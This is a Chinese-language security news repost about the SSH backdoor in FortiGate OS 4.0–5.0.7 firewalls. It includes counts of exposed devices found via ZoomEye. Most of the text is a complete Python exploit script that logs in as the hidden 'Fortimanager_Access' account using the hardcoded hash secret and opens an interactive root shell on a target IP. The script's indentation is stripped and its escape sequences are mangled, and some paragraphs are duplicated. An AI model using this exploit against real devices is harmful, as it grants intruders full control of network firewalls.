FortiGate OS(飞塔系统) 4.0-5.0.7 SSH 后门

华盟原创文章投稿奖励计划

     FortiGate OS(飞塔系统) 4.0-5.0.7 SSH 后门
  漏洞概要

  FortiGate 解决方案能够发现和消除多层的攻击,比如病 毒、蠕虫、入侵、以及 Web 恶意内容等等实时的应用,而不会导致网络性能下降。 北京时间 2016 年 1 月 12 日凌晨四点钟,国外安全研究员在 twiter 上爆料 FortiGate 防火墙存在一个后门,攻击者可以通过这个后门直接获取防火墙控制 权限。

  FortiGate(飞塔防火墙)采用 ASIC 加速的 UTM 解决方案,可以有效地防御网 络层和内容层的攻击。FortiGate 解决方案能够发现和消除多层的攻击,比如病 毒、蠕虫、入侵、以及 Web 恶意内容等等实时的应用,而不会导致网络性能下降。

  北京时间 2016 年 1 月 12 日凌晨四点钟,国外安全研究员在 twiter 上爆料 FortiGate 防火墙存在一个后门,攻击者可以通过这个后门直接获取防火墙控制 权限。

  漏洞概述

  FortiGate(飞塔防火墙)采用 ASIC 加速的 UTM 解决方案,可以有效地防御网 络层和内容层的攻击。FortiGate 解决方案能够发现和消除多层的攻击,比如病 毒、蠕虫、入侵、以及 Web 恶意内容等等实时的应用,而不会导致网络性能下降。

  漏洞效果

  使用后门帐号,可以直接获取防火墙系统的 root 权限。

        FortiGate OS(飞塔系统) 4.0-5.0.7 SSH 后门

  影响范围

  在漏洞爆发的第一时间,知道创宇漏洞情报团队在 ZoomEye 网络空间搜索引擎 上发现全球有约 6.5 万个 FortiGate 防火墙。

        FortiGate OS(飞塔系统) 4.0-5.0.7 SSH 后门

  在ZoomEye 中我们可以看到,全球使用该防火墙最多的国家分别为美国(13633)、印度(7833)、中国(3957)、日本(2937)、韩国(2790)。

  参考连接

  https://www.reddit.com/r/netsec/comments/40lotk/ssh_backdoor_for_fortigate_os_version_4x_up_to/

  测试代码:

#!/usr/bin/env python

# SSH Backdoor for FortiGate OS Version 4.x up to 5.0.7
# Usage: ./fgt_ssh_backdoor.py <target-ip>

import socket
import select
import sys
import paramiko
from paramiko.py3compat import u
import base64
import hashlib
import termios
import tty

def custom_handler(title, instructions, prompt_list):
n = prompt_list[0][0]
m = hashlib.sha1()
m.update('/x00' * 12)
m.update(n + 'FGTAbc11*xy+Qqz27')
m.update('/xA3/x88/xBA/x2E/x42/x4C/xB0/x4A/x53/x79/x30/xC1/x31/x07/xCC/x3F/xA1/x32/x90/x29/xA9/x81/x5B/x70')
h = 'AK1' + base64.b64encode('/x00' * 12 + m.digest())
return [h]


def main():
if len(sys.argv) < 2:
print 'Usage: ' + sys.argv[0] + ' <target-ip>'
exit(-1)

client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

try:
client.connect(sys.argv[1], username='', allow_agent=False, look_for_keys=False)
except paramiko.ssh_exception.SSHException:
pass

trans = client.get_transport()
try:
trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True)
except paramiko.ssh_exception.AuthenticationException:
pass

trans.auth_interactive(username='Fortimanager_Access', handler=custom_handler)
chan = client.invoke_shell()

oldtty = termios.tcgetattr(sys.stdin)
try:
tty.setraw(sys.stdin.fileno())
tty.setcbreak(sys.stdin.fileno())
chan.settimeout(0.0)

while True:
r, w, e = select.select([chan, sys.stdin], [], [])
if chan in r:
try:
x = u(chan.recv(1024))
if len(x) == 0:
sys.stdout.write('/r/n*** EOF/r/n')
break
sys.stdout.write(x)
sys.stdout.flush()
except socket.timeout:
pass
if sys.stdin in r:
x = sys.stdin.read(1)
if len(x) == 0:
break
chan.send(x)

finally:
termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)


if __name__ == '__main__':
main()

  From:http://tools.pwn.ren/2016/01/12/ssh-backdoor-for-fortigate-os-version-4-up-to-5-0-7.html

  漏洞检测地址:

  https://www.sebug.net/monster/?vul_id=90378

原文地址:https://hack.77169.com/201601/223461.shtm

本文原创,作者:华盟君,其版权均为华盟网所有。如需转载,请注明出处:https://www.77169.net/html/18626.html

发表评论